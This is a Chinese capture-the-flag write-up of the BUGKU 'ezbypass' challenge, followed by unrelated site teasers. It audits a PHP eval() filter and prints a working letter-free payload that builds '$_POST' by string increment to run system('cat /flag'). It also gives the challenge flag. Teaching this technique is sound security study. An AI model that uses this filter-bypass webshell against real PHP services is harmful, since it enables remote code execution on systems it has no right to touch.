BUGKU-WEB ezbypass

题目描述

题目截图如下:
在这里插入图片描述

进入场景看看:
在这里插入图片描述

解题思路

  • 代码审计题目
  • 发现需要构造一个字符串,使得它不包含字母、数字、特殊字符的PHP代码片段,长度小于105,然后传递给$code
  • post提交参数,eval()执行
  • 是一个关于无字母数字webshell的题目,自增绕过

相关工具

  • post,拿出hackbar
  • 正则表达:https://www.mklab.cn/utils/regex
  • url编码:https://www.urlencoder.net/

解题步骤

  1. 审计代码
<?php                   
error_reporting(0);                   
highlight_file(__FILE__);                       if (isset($_POST['code'])) {  #  检查是否通过POST请求提交了名为"code"的参数。            $code = $_POST['code'];       # 将POST请求中的"code"参数的值赋给变量$code。    if (strlen($code) <= 105){    #  检查$code的长度是否小于等于105个字符。           if (is_string($code)) {   # 检查$code是否为字符串类型。                      if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$code)){#   使用正则表达式检查$code是否不包含其中字母数字和其他字符。       eval($code);  #  如果$code满足以上所有条件,则执行eval函数,将$code作为PHP代码执行。} else {                            echo "Hacked!"; # 如果$code包含不允许的字符,则输出"Hacked!",表示该代码可能被黑客修改。                     }} else { echo "You need to pass in a string"; #  如果$code不是字符串类型,则输出"You need to pass in a string",表示需要传递一个字符串类型的参数。                      }} else { echo "long?";  # 如果$code的长度超过105个字符,则输出"long?",表示代码太长了。                         }  
}
  1. fuzz测试正则还有哪些字符没有被过滤:
for ($i=32;$i<127;$i++){if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$code)){echo chr($i);}
}

输出:

 !$'()+,./;=[]_

for循环中,这个i从32到127的意思是(ASCII三种进制对照表):过一遍这些字符
在这里插入图片描述

接下来就要使用 !$'()+,./;=[]_来构造payload 执行RCE。什么是RCE?见后面的知识点部分

  1. 目前需要显示flag,那可能需要 cat /flag命令
  2. 使用函数system:system('cat /flag'),请查看后文知识点。(不知道这里理解错了没...)
  3. 那么现在要做的就是使用$_=()[];+\$来绕过之前的正则表达式,也就是code的内容
_=system&__=cat /flag&code=
_=system&__=cat /f*&code=
  1. 大佬给的POC:
_=system&__=cat /flag&code=%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

之前的那个105的限制就在这里体现,要是使用get来编写payload的话,会超过这个105.(感兴趣的可以去数数-_-)

解码后就是:

$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);

格式化后:

$_=(_/_._)[_]; # _/\_ == NAN  有些地方时(0/0).
$_++; 
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
$_++;
$__=$__.$_;
$_=_.$__;$$_[_]($$_[__]);

$_:这里的单个下划线,看作是变量1
$__:这里的双下划线,看做是变量2

不理解没关系,你可以把代码放本地去运行试试就知道了

<?php
$_=(_/_._)[_];
var_dump($_); # 输出N

说明:_/_ == NAN,目的是得到N这个字母,方便自增得到P。除了_/_ 外还空数组、无限大:
在这里插入图片描述

<?php
$_=(_/_._)[_];
var_dump($_);#输出N
<?php
$_=(_/_._)[_];
$_++; 
var_dump($_); # 输出O
<?php
$_=(_/_._)[_];
$_++; 
$__=$_.$_++;
var_dump($__);# 输出PO
<?php
$_=(_/_._)[_];
$_++; 
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
var_dump($__);# 输出POS
<?php
$_=(_/_._)[_];
$_++; 
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
$_++;
$__=$__.$_;
$_=_.$__;
var_dump($_); # 输出_POST

至于下面代码:

$$_[_]($$_[__]);
#也就是 $_POST[_]($_POST[__])

解释如下:

  • $_POST 变量用来收集表单数据,
  • 这里$_POST[_] ($_POST[__]),就是要给_和__进行传参,()的意思应该是分传参的先后次序咯。
    在这里插入图片描述
    在这里插入图片描述

得到Flag

flag{2973f3b4a67d74882bab11b75f37cef7}       

在这里插入图片描述

新知识点

  1. isset() 函数:检测变量是否已设置并且非 NULL
    在这里插入图片描述
  2. RCE理解
  • 远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
  • RCE分为远程命令执行ping和远程代码执行evel。
  1. PHP中system函数

在这里插入图片描述4.ASCII三种进制对照表、二进制、字节
5. Perl 特殊变量

参考链接

  1. 总结rce(远程代码执行各种sao姿势)绕过bypass

在这里插入图片描述
2. 从CTFShow[RCE挑战]中学习自增构造webshell,这篇文章介绍很详细

  • 什么是自增:
    当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符
  1. 题目讲解4
    在这里插入图片描述
  2. ctfshow–RCE极限挑战

有用的话,请点赞收藏评论,帮助更多的同学哦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/741227.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数仓基础理论(一)

数据仓库概念 数据库 vs 数据仓库 从数据来源进行区分 数据库&#xff1a;企业中基础核心的业务数据 数据仓库&#xff1a;数据库中的数据 从数据存储进行区分 数据库&#xff1a;核心作用就是查找业务数据&#xff0c;基本上行式存储(带有索引)&#xff0c;基本上无法存…

大模型学习笔记六:Semantic Kernel

文章目录 一、Semantic Kernel介绍和发展1&#xff09;SK 的语言开发进展2&#xff09;SK的生态位3&#xff09;SK基础架构 二、环境搭建1&#xff09;初始化2&#xff09;Semantic Functions&#xff08;不用编写代码&#xff0c;用配置实现回调函数&#xff09;3&#xff09;…

js的异常处理

1、throw抛异常 throw抛出异常信息&#xff0c;程序也会终止执行&#xff1b; throw后面跟的是错误提示信息&#xff1b; new Error() 配个throw使用&#xff0c;能设置更详细的错误信息。 function counter(x,y) {if (!x || !y) {throw new Error(参数不能为空)}retu…

Kotlin 数据解析(Gson)

一、添加依赖 build.gradle.kts(:app) // gson数据解析implementation("com.google.code.gson:gson:2.8.6") 对象类&#xff1a; // 对象类 class Account {var uid:String "00001"var userName:String "Freeman"var password:String &quo…

k8s+wordpress+zabbix+elastic+filebeat+kibana服务搭建以及测试

一&#xff0c;环境&#xff1a;docker&#xff0c;k8s&#xff0c;zabbix&#xff0c;以及搭建worpdress&#xff0c;elasticsearch&#xff0c;filebeat&#xff0c;kibana 二&#xff0c;主机分配&#xff1a; 名称host详述个人博客3192.168.142.133 搭配mysql8.0.36的数据…

DVWA靶场-暴力破解

DVWA是一个适合新手锻炼的靶机&#xff0c;是由PHP/MySQL组成的 Web应用程序&#xff0c;帮助大家了解web应用的攻击手段 DVWA大致能分成以下几个模块&#xff0c;包含了OWASP Top 10大主流漏洞环境。 Brute Force——暴力破解 Command Injection——命令注入 CSRF——跨站请…

SublimeText4 安装

Sublime Text 可以编写html&#xff0c;css&#xff0c;js&#xff0c;php等等&#xff0c;是一个轻量、简洁、高效、跨平台的编辑器。 图1&#xff1a;SublimeText官网 Sublime Text具有漂亮的用户界面和强大的功能&#xff0c;例如代码缩略图&#xff0c;Python的插件&#…

Java的编程之旅41——字符流

目录 1.字符流的简介 2.字符的编码与解码 3.字符流读写操作 1.字符流写入 2.字符流复制文件 4.FileWriter&FileReader 5.缓冲区高效读写 6.序列化与反序列化 1.字符流的简介 在Java中&#xff0c;字符流是用于处理字符数据的输入输出流。它是以字符为单位进行处理&a…

读取txt文件并统计每行最长的单词以及长度

读取txt文件并统计每行最长的单词以及长度 题目 在 D:\\documant.txt 文本中,文件中有若干行英文文本,每行英文文本中有若干个单词&#xff0c;每个单词不会跨行出现每行至多包含100个字符,要求编写一个程序,处理文件,分析各行中的单词,找到每行中的最长单词&#xff0c;分别…

群晖docker安装sql server

安装步骤 开启群晖 SSH&#xff0c;通过 SSH 工具连接到群晖&#xff0c;运行下面的命令拉取mssql 2019 镜像 sudo docker pull mcr.microsoft.com/mssql/server:2019-latest然后在 docker 中就可以看到该镜像&#xff1a; 在群晖 docker 共享文件夹中创建 mssql2009 文件夹 …

ABAP - cl_gui_alv_grid cl_salv_table的各种处理

这篇文章主要是记录一下cl_gui_alv_grid 和 cl_salv_table 两种方式的ALV的字段&#xff0c;事件等的处理 举例&#xff0c;下面这个是用一个screen&#xff0c;显示2个ALV&#xff1b;上面这一个是用alv grid的&#xff1b;下面那一个是用salv去实现的 alv grid 主要涉及&am…

神舟通用-神通MPP

1、国产MPP 神通MPP是以多年大型通用数据库领域的研发实力为基础&#xff0c;集深厚的航天信息化建设经验&#xff0c;集成多项先进技术&#xff0c;为满足航天、政府、金融、电信等行业的海量数据分析统计应用需求而打造的分布式数据库软件&#xff0c;具有负载衡、在线扩展、…

基于ssm的志愿者招募系统的设计与实现(程序+文档+数据库)

** &#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;** 一、研究背景…

nginx有几种启动方式

Nginx 通常可以以两种主要的方式启动&#xff1a;作为前台进程运行或作为守护进程&#xff08;后台&#xff09;运行。 前台运行&#xff1a; 当Nginx以前台模式运行时&#xff0c;它会在命令行保持活动状态&#xff0c;所有的日志输出都会直接显示在命令行上。这种模式通常用于…

Redis底层数据结构之List

文章目录 1. Redis 6的list源码分析1. Redis 7的list源码分析 1. Redis 6的list源码分析 首先我们查看一下redis 6关于list的相关配置&#xff1a; config get list*可以看见redis 6的quicklist底层使用的数据结构是ziplist list-compress-depth&#xff1a;表示一个quicklis…

【力扣hot100】刷题笔记Day25

前言 这几天搞工作处理数据真是类似我也&#xff0c;还被老板打电话push压力有点大的&#xff0c;还好搞的差不多了&#xff0c;明天再汇报&#xff0c;赶紧偷闲再刷几道题&#xff08;可恶&#xff0c;被打破连更记录了&#xff09;这几天刷的是动态规划&#xff0c;由于很成…

Node携手MongoDB探险旅行⛏️

Node携手MongoDB探险旅行⛏️ 本篇文章&#xff0c;学习记录于&#xff1a;尚硅谷&#x1f3a2; 文章简单学习总结&#xff1a;如有错误 大佬 &#x1f449;点. 本篇不适合纯新手&#xff0c;因为本人已经使用很多数据库&#xff0c;很多数据库概念…就不会进行解释&#xff…

presto / trino plugin(自定义UDF函数)开发指南

方案1:自定义udf插件开发 1. Presto插件机制 presto不能像hive那样配置自定义的udf,而是采用插件机制实现。Presto 的插件(Plugin)机制,是 Presto 能够整合多种数据源的核心。通过实现不同的 Plugin,Presto 允许用户在不同类型的数据源之间进行 JOIN 等计算。Presto 内部的…

10、设计模式之外观模式(Facade)

一、什么是外观模式 这个大家一定是经常使用的&#xff0c;外观模式&#xff08;门面模式&#xff09;是一种结构型设计模式。它提供一个统一的接口&#xff0c;用于访问子系统中的一组接口&#xff0c;隐藏了系统的复杂性。最简单的应用就是&#xff0c;当controller层的逻辑处…

C#实现二分查找算法

C#实现二分查找算法 以下是一个使用 C# 实现的二分查找算法示例&#xff1a; using System;class Program {static int BinarySearch(int[] arr, int target){int low 0;int high arr.Length - 1;while (low < high){int mid (low high) / 2;// 如果目标值等于中间元素…